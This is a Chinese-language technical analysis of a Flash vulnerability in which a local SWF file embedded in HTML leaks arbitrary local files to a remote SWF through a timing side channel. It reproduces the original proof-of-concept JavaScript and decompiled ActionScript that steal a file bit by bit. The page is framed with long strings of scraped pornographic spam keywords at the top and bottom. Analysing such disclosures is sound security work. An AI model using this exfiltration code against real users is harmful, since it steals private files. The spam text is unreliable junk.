精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

技術分析:本地SWF文件可將任意本地文件泄露

安全 應用安全
Flash文件在設計的時候就允許本地的swf文件讀取任意的本地文件。Flash Player版本不高于7時,本地SWF文件可與其它SWF文件交互并且可以從任何遠程或本地位置加載數據。

Flash文件在設計的時候就允許本地的swf文件讀取任意的本地文件。Flash Player版本不高于7時,本地SWF文件可與其它SWF文件交互并且可以從任何遠程或本地位置加載數據。

原理

在Flash Player 8 和更高版本中,SWF 文件不能連接本地文件系統和 Internet。 但是通過時間旁路通道(timing side-channel),卻可以實現提取任意本地文件的內容并傳送到網絡上(詳細說明,可參見[1],[2])。

Google瀏覽器會阻止(應該是有提示吧)下載“.swf”后綴的文件,來降低對本地文件系統規則的攻擊,但是卻沒有阻止swf文件以不同的文件后綴嵌入進去(poc中,是html和swf文件合并了,所以是嵌入html中[3])。當多個swf文件運行在同一個瀏覽器,但在不同的frame下,或者不同的tab下時,一次只有一個swf文件可以運行ActionScript腳本。

這也就意味著,本地的swf文件可以通過耗時的操作(如直接循環一個時間段等),使加載的網絡上的swf文件的外部接口調用(ExternalInterface call)出現延遲。這樣根據讀取的本地文件的信息(如讀取一個字節時,bit位為1出現延遲,bit位為0,不設置延遲),決定是否出現相應的延遲,網絡上的swf文件檢測這一延遲,即可獲取到讀取的文件信息。

本地html文件顯然不能直接和網絡上的swf文件進行交互,但是本地的html文件可以通過frame加載網絡上的swf文件。

POC分析

原作者提供的poc分析 ([4],[5]),打開后發現亂碼,winhex一看,果斷嵌入了swf文件(提供的poc代碼中沒有這個swf文件,如圖1),偏移0xd65后的內容為html文件的內容:

技術分析:本地SWF文件可將任意本地文件泄露于互聯網 

技術分析:本地SWF文件可將任意本地文件泄露于互聯網

0xD65后的內容極為html文件的內容。

看了下作者html中的js代碼:

/* check the response time of flash */
         function ping(cb) {
         var l;
         window.addEventListener(,message,, l = function(e) {
         window.removeEventListener(,message,, l);
         //console.log(,got delay ,+e.data.delay)
         cb(e.data.delay);
         });
         document.getElementById(,ifr,).contentWindow.postMessage(,ping,, ,*,);
         }
         
         /* steal one bit */
         function getbit(path, char, mask, cb) {
         path = encodeURIComponent(path);
         document.getElementById(,div,).innerHTML =
         ,<embed type=application/x-shockwave-flash src=? flashvars="path=,+path+,&amp;char=,+char+,&amp;mask=,+mask+,">,;//這個地方應該就是[3]提及的那個bug,src換位本地的地址后,poc沒能成功讀取本地文件內容//作者將本地的swf文件和html文件合并在一起了,path為文件路徑
         setTimeout(function() {
         ping(function(res) {
         setTimeout(function() {
         cb(res > 100);//根據延遲得到bit位的值
         }, 500);
         });
         }, 200);
         }
         
         /* steal one byte */
         function getbyte(path, char, cb) { 
         var byte = 0;
         var mask = 1;
         function getbyte_() {
         //console.log(,getbyte_ mask=,+mask)
         getbit(path, char, mask, function(is_set) {//根據mask的那一bit為1,決定讀取char中的某一bit位
         //console.log(,mask=,+mask+, set=,+is_set);
         if (is_set) byte |= mask;if (mask == 0x80) return cb(String.fromCharCode(byte));
      mask <<= 1;
      getbyte_();
    });
    /* steal an entire file */function run() {
  var path = document.getElementById(,path,).value;
  console.log(,path=,+path)
  var i = 0;
  var text = ,,;
  function run_() {//其實這里應該有個判斷文件長度的,當然應該由swf文件把文件長度信息返回回來
    getbyte(path, i, function(char) {
      console.log(,got char: ,+char)
      text += char;
      i++;
      document.getElementById(,out,).innerText = text;
      run_();
    });
  }
  run_();}

從作者給的html文件中提前swf后反編譯,反編譯后在swf腳本下有class_writer這一項:

技術分析:本地SWF文件可將任意本地文件泄露于互聯網

里面的主要兩個函數的代碼:

public static function completeHandler(arg1:flash.events.Event):void
        {
            var loc1:*=0;
            if ((Writer.loader.data.charCodeAt(Writer.char) & Writer.mask) != 0) 
            {//該bit位為1則循環,因此會出現延遲
                loc1 = flash.utils.getTimer() + 400;
                do 
                {
                }
                while (flash.utils.getTimer() < loc1);
            }
            return;
        }
 
        public static function main():void
        {
            Writer.timer = new haxe.Timer(1);
            Writer.timer.run = function ():void
            {
                var loc1:*;
                var loc2:*=null;
                var loc3:*=undefined as null;
                var loc4:*=undefined as null;
                if (flash.Lib.current.stage != null) 
                {
                    false;
                }
                if (false) 
                {
                    Writer.timer.stop();
                    loc2 = flash.Lib.current.loaderInfo.parameters;
                    Writer.path = loc2.path;//文件路徑
                    Writer.char = Std.parseInt(loc2.char);//獲取哪一字節的數據
                    Writer.mask = Std.parseInt(loc2.mask);//與之按位與,可確定獲取的bit位的值
                    loc3 = new flash.net.URLRequest(Writer.path);
                    Writer.loader = new flash.net.URLLoader();
                    Writer.loader.addEventListener(flash.events.Event.COMPLETE, Writer.completeHandler);
                }
                return;
            }
            return;
        }

Frame中嵌入的html文件的js代碼:

<embed id=a src=ping.swf AllowScriptAccess=always><script>
  window.addEventListener(,message,, function(e) {
    var t1 = Date.now();
    document.getElementById(,a,).ping();
    var t2 = Date.now();
    parent.postMessage({delay:t2-t1}, ,*,);//計算網絡上的swf文件相應的延遲
  });</script>

作者poc google瀏覽器下運行效果:

技術分析:本地SWF文件可將任意本地文件泄露于互聯網

 

相關資料

[1]:http://help.adobe.com/zh_CN/AS2LCR/Flash_10.0/help.html?content=00000456.html

[2]:http://help.adobe.com/zh_CN/AS2LCR/Flash_10.0/help.html?content=00000462.html#164081

[3]: https://code.google.com/p/chromium/issues/detail?id=487475(無奈翻墻了提示我不能查看)

[4]https://var.thejh.net/flash_HigNabIalOt6/download.html(原作者的poc)

[5]:https://var.thejh.net/flash_local_poc.zip(原作者的poc 代碼)

[6]:http://seclists.org/fulldisclosure/2015/May/122

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2024-05-06 06:00:00

C#文件存儲

2017-01-01 09:43:40

2011-11-17 15:18:50

HTML 5

2020-05-20 08:57:14

JavaScript讀取文件開發

2011-04-20 09:20:00

Windows 8

2017-12-01 10:13:42

前端操作上傳

2009-11-27 09:22:32

JavaScript本

2024-03-14 10:51:13

服務器技術.NET Core

2023-11-11 19:43:12

緩存數據庫

2013-07-30 12:30:57

Windows PhoWindows Pho

2010-07-27 13:46:18

Flex swf

2022-04-11 06:56:14

數據庫安全數據泄露

2017-03-20 20:32:56

谷歌開源JPEG算法

2019-06-17 15:00:48

Node.jsPDF前端

2015-04-02 16:26:39

漏洞檢測工具Kadimus

2018-12-19 08:52:55

無文件攻擊信息安全惡意代碼

2010-10-12 09:17:42

本地代碼Native CodeNative Clie

2013-05-27 14:46:06

文件系統分布式文件系統

2009-05-27 15:11:24

2022-04-28 07:59:11

Polkitpkexec漏洞
點贊
收藏

51CTO技術棧公眾號

成人在线二区| 国产一级片视频| 成人做爰免费视频免费看| 国产欧美日韩在线| 91精品久久久久久久久久久久久久| 人妻互换一区二区激情偷拍| 日韩欧美激情电影| 狠狠躁夜夜躁久久躁别揉| 日韩欧美一区二区视频在线播放| 国产伦理吴梦梦伦理| 尹人成人综合网| 在线播放国产精品| 性一交一黄一片| 欧美男体视频| 一区二区三区自拍| 日韩在线三区| 开心激情综合网| 免费成人在线网站| 91精品国产高清| 国产色无码精品视频国产| 日韩精品a在线观看91| 欧美日韩精品欧美日韩精品一| 欧美日韩激情四射| 香蕉视频免费在线播放| 成人久久久精品乱码一区二区三区 | 免费无码av片在线观看| 国产福利视频在线观看| 久久久精品蜜桃| 99久久自偷自偷国产精品不卡| 四虎影院在线免费播放| 最新日韩av| 伦伦影院午夜日韩欧美限制| jizz中文字幕| 琪琪久久久久日韩精品| 欧美一级在线观看| 日韩高清第一页| 色偷偷色偷偷色偷偷在线视频| 亚洲情趣在线观看| 亚洲人成网站在线观看播放| 亚州视频一区二区三区| 成人午夜av在线| 亚洲最大的av网站| 91国在线视频| 免费精品99久久国产综合精品| …久久精品99久久香蕉国产| 外国一级黄色片| 久久在线视频| 少妇高潮 亚洲精品| x88av在线| 国产区精品区| 国产一区二区三区在线播放免费观看| 国产亚洲无码精品| 欧美一级三级| 日韩激情片免费| 精品国产av色一区二区深夜久久| 日韩一区二区三区精品视频第3页| 欧美日韩高清一区二区| 男女视频一区二区三区| 日韩欧美看国产| 91国产成人在线| 男人透女人免费视频| 成人教育av| 色婷婷精品大在线视频| 无遮挡又爽又刺激的视频| 亚洲一二三四| 在线亚洲免费视频| 欧美第一页浮力影院| 六九午夜精品视频| 这里只有精品免费| 无码国产精品一区二区高潮| 亚洲2区在线| 亚洲国产精品人人爽夜夜爽| www.17c.com喷水少妇| 牛牛影视一区二区三区免费看| 亚洲成人中文字幕| 可以直接看的无码av| 丝袜av一区| 宅男66日本亚洲欧美视频| 国产福利在线导航| 欧美日韩精品免费观看视频完整| 欧美大片免费观看| 国产成人在线播放视频| 先锋影音国产一区| 国产精品三级久久久久久电影| 中文字幕 国产| 国产一区二区不卡在线| 国产精品久久亚洲7777| 三级在线视频| 国产精品成人午夜| 国产精品久久久久久久乖乖| 丝袜诱惑一区二区| 欧美日本一区二区| 无码国产精品一区二区免费式直播 | 色一情一乱一乱一91av| 在线不卡一区二区三区| 粉嫩久久久久久久极品| 国产亚洲美女久久| 久久国产免费观看| 久久xxxx| 91精品国自产在线观看 | 亚洲精品自在久久| 久久精品一区二区三区四区五区 | 国产精品主播在线观看| 亚洲天堂av综合网| 久草视频免费在线播放| 日本特黄久久久高潮| 91精品国自产在线观看| 国产午夜精品一区理论片| 亚洲女爱视频在线| 黄色片久久久久| 国产一区二区三区亚洲综合| 亚洲精品久久久久中文字幕二区 | 亚洲女爱视频在线| 欧美亚洲日本在线观看| 成人在线超碰| 久久精品99久久久香蕉| 超碰超碰超碰超碰| 国产不卡视频一区二区三区| 色吧亚洲视频| 手机在线观看av| 日韩一级完整毛片| 少妇av片在线观看| 午夜一区在线| 大波视频国产精品久久| 幼a在线观看| 91成人看片片| www.日本高清| 伊人久久大香线蕉综合热线| 成人欧美一区二区三区黑人孕妇| 美国成人毛片| 五月天丁香久久| 四虎1515hh.com| 日本久久黄色| 国产91对白在线播放| 黄色一级大片在线免费看国产一| 亚洲图片你懂的| 尤蜜粉嫩av国产一区二区三区| 理论片一区二区在线| 美女999久久久精品视频| 在线观看免费黄色小视频| 91天堂素人约啪| 福利视频免费在线观看| 国产亚洲高清一区| 久久精品欧美视频| 91麻豆成人精品国产| 欧美国产乱子伦 | 亚洲国产精品成人va在线观看| a级片在线观看免费| 国内成+人亚洲+欧美+综合在线| 日韩欧美视频一区二区三区四区| 中文字幕av一区二区三区佐山爱| 精品视频在线播放| 日韩精品1区2区| 91免费观看国产| av天堂永久资源网| 一区二区导航| 国产成人久久精品| eeuss影院www在线播放| 欧美午夜理伦三级在线观看| 中文字幕伦理片| 麻豆精品一二三| 亚洲一区三区视频在线观看| 日本免费一区二区三区等视频| 综合激情国产一区| 国产情侣自拍小视频| 亚洲人精品午夜| 日韩大尺度视频| 在线观看一区| 麻豆成人在线播放| 精品免费av一区二区三区| 三级精品视频久久久久| 97人人爽人人爽人人爽| 国产精品国产a级| 中文字幕无码毛片免费看| 伊人精品视频| 日本一区视频在线观看| 成人51免费| 国产做受69高潮| 黄色在线免费观看大全| 欧美日韩不卡在线| 精品少妇久久久| 久久久五月婷婷| 日韩 国产 一区| 99在线观看免费视频精品观看| 欧美日韩三区四区| 成人影院网站ww555久久精品| 欧美精品videosex牲欧美| 青梅竹马是消防员在线| 欧美日韩视频专区在线播放| 青青草免费av| 久久久噜噜噜久久中文字幕色伊伊| 午夜在线观看av| 亚洲视频一二| 日韩成人av网站| 亚洲一区二区三区在线免费| 日本久久中文字幕| 尤物视频在线看| 亚洲欧美国内爽妇网| 国产成人精品白浆久久69| 精品成人在线视频| 国产免费美女视频| 99精品久久免费看蜜臀剧情介绍| 亚洲一级片免费| 99热这里只有精品8| 一本色道婷婷久久欧美| 男人的天堂久久| 51国偷自产一区二区三区的来源| 神马电影网我不卡| 欧美精品久久久久| 日本不卡三区| 亚洲欧洲在线看| 女人18毛片一区二区三区| 欧美日韩亚洲综合一区二区三区| 国产成人无码精品亚洲 | 国产无码精品在线观看| 国产精品乱码久久久久久| 一级特黄a大片免费| 国产一区二区视频在线| 国产日韩成人内射视频| 在线日韩欧美| 麻豆映画在线观看| 成人3d动漫在线观看| 精品不卡在线| 91精品尤物| 91夜夜未满十八勿入爽爽影院| 色尼玛亚洲综合影院| 欧美一区二区视频97| 免费男女羞羞的视频网站在线观看| 中文字幕国产精品| 国内精品在线视频| 日韩美女av在线| 无码精品人妻一区二区三区影院| 欧美一级欧美一级在线播放| 亚洲系列第一页| 欧美视频日韩视频在线观看| 在线观看日本视频| 精品久久久香蕉免费精品视频| 精品无码m3u8在线观看| 亚洲精品亚洲人成人网| 亚洲波多野结衣| 国产精品久久久一本精品 | 亚洲视频精选在线| 91制片厂在线| 国产精品电影一区二区| 激情无码人妻又粗又大| 一区在线观看视频| 亚洲女人久久久| 中文字幕亚洲精品在线观看| 国产91在线播放九色| 国产精品白丝在线| 中文国语毛片高清视频| 综合av第一页| 欧美日韩综合一区二区| 一区二区三区在线看| 免费人成在线观看| 亚洲电影一级黄| 日韩人妻无码一区二区三区99| 亚洲va欧美va国产va天堂影院| 国产精品30p| 欧美日韩激情网| 极品国产91在线网站| 欧美中文字幕亚洲一区二区va在线 | 你懂的在线观看视频网站| 亚洲精品资源美女情侣酒店| 免费理论片在线观看播放老| 亚洲色图第一页| melody高清在线观看| www国产精品视频| av小次郎在线| 羞羞色国产精品| 日本不卡一二三| 91精品久久久久久久久久| 亚洲3区在线| 蜜桃成人在线| 日韩一区自拍| 黄色a级片免费看| 一本久道久久久| 亚洲精品怡红院| 国产一区二区三区日韩| 大乳护士喂奶hd| 亚洲国产精品99久久久久久久久 | 日韩在线免费看| 中文字幕欧美国内| 四虎av在线| 日韩av免费一区| 国产一区二区三区免费观看在线| 国产手机精品在线| 日韩激情免费| 国产免费裸体视频| 日韩电影在线看| 一级黄色高清视频| 久久这里只有精品视频网| 国产在线观看免费视频软件| 亚洲第一成年网| 中文资源在线播放| 亚洲精品黄网在线观看| 免费av在线网站| 欧美亚洲国产视频| 国产精品亚洲四区在线观看 | 人人妻人人澡人人爽精品日本| 亚洲香蕉伊综合在人在线视看| а天堂中文在线官网| 亲爱的老师9免费观看全集电视剧| 国产精品成人国产| 激情五月综合色婷婷一区二区 | 激情久久免费视频| 欧美大香线蕉线伊人久久| 最新精品国产| 热久久精品国产| a级精品国产片在线观看| 国产又黄又粗的视频| 精品国产户外野外| 国产情侣一区二区| 色小说视频一区| 成人影院av| 国产有色视频色综合| 久久久久久久久久久久久久| 无码人妻h动漫| 处破女av一区二区| 人妻人人澡人人添人人爽| 91黄色在线观看| 无套内谢的新婚少妇国语播放| 欧美成人精品一区| 日本久久一区| 亚洲国产精品视频一区| 99在线|亚洲一区二区| 91九色蝌蚪porny| 亚洲精品乱码久久久久久久久 | 日韩美女中文字幕| 77成人影视| 浴室偷拍美女洗澡456在线| 日韩国产高清影视| 极品粉嫩小仙女高潮喷水久久| 亚洲综合图片区| 99热这里只有精品9| 日韩中文字幕免费| 99久久伊人| 日韩精品久久一区| 久久精品中文| 免费在线观看你懂的| 懂色av中文一区二区三区天美| 丰满少妇在线观看bd| 久精品免费视频| 日韩精品成人在线观看| 国产欧美自拍视频| 国产精选一区二区三区| 麻豆天美蜜桃91| 欧美一卡二卡三卡四卡| 中中文字幕av在线| 99国产在线观看| 国产精品vip| 无码人妻精品一区二区三区99不卡| 一二三区精品视频| 人妻va精品va欧美va| 午夜免费久久久久| 亚洲精品无吗| 91蝌蚪视频在线观看| 国产精品欧美久久久久一区二区| 人妻中文字幕一区二区三区| 国产亚洲欧美一区| 欧美亚洲人成在线| 2021国产视频| 成人午夜精品一区二区三区| 日韩污视频在线观看| 亚洲精品中文字幕有码专区| 精品3atv在线视频| 一本久道久久综合狠狠爱亚洲精品| 久久精品999| 91视频免费在线看| 日韩精品免费在线视频观看| 深夜成人福利| 最新av在线免费观看| 国产成人精品一区二| 日本少妇性生活| 亚洲欧美变态国产另类| 激情小说亚洲| 在线观看18视频网站| 成人高清视频在线观看| 中文字幕精品无码一区二区| 夜夜躁日日躁狠狠久久88av| 国产麻豆精品| 一女被多男玩喷潮视频| 久久九九久久九九| 国产又粗又黄视频| 久久免费视频网站| 国产亚洲一卡2卡3卡4卡新区| 狠狠干狠狠操视频| 亚洲一区二区视频| 国产一级在线| 91精品天堂| 久久蜜桃精品| 欧美激情图片小说| 日韩电影在线观看中文字幕| jizz久久久久久| 国产自产在线视频| 国产精品美女久久久久aⅴ国产馆 国产精品美女久久久久av爽李琼 国产精品美女久久久久高潮 | 噜噜噜噜噜久久久久久91| 久久精品国产在热久久| 日韩三级免费看| 综合欧美国产视频二区|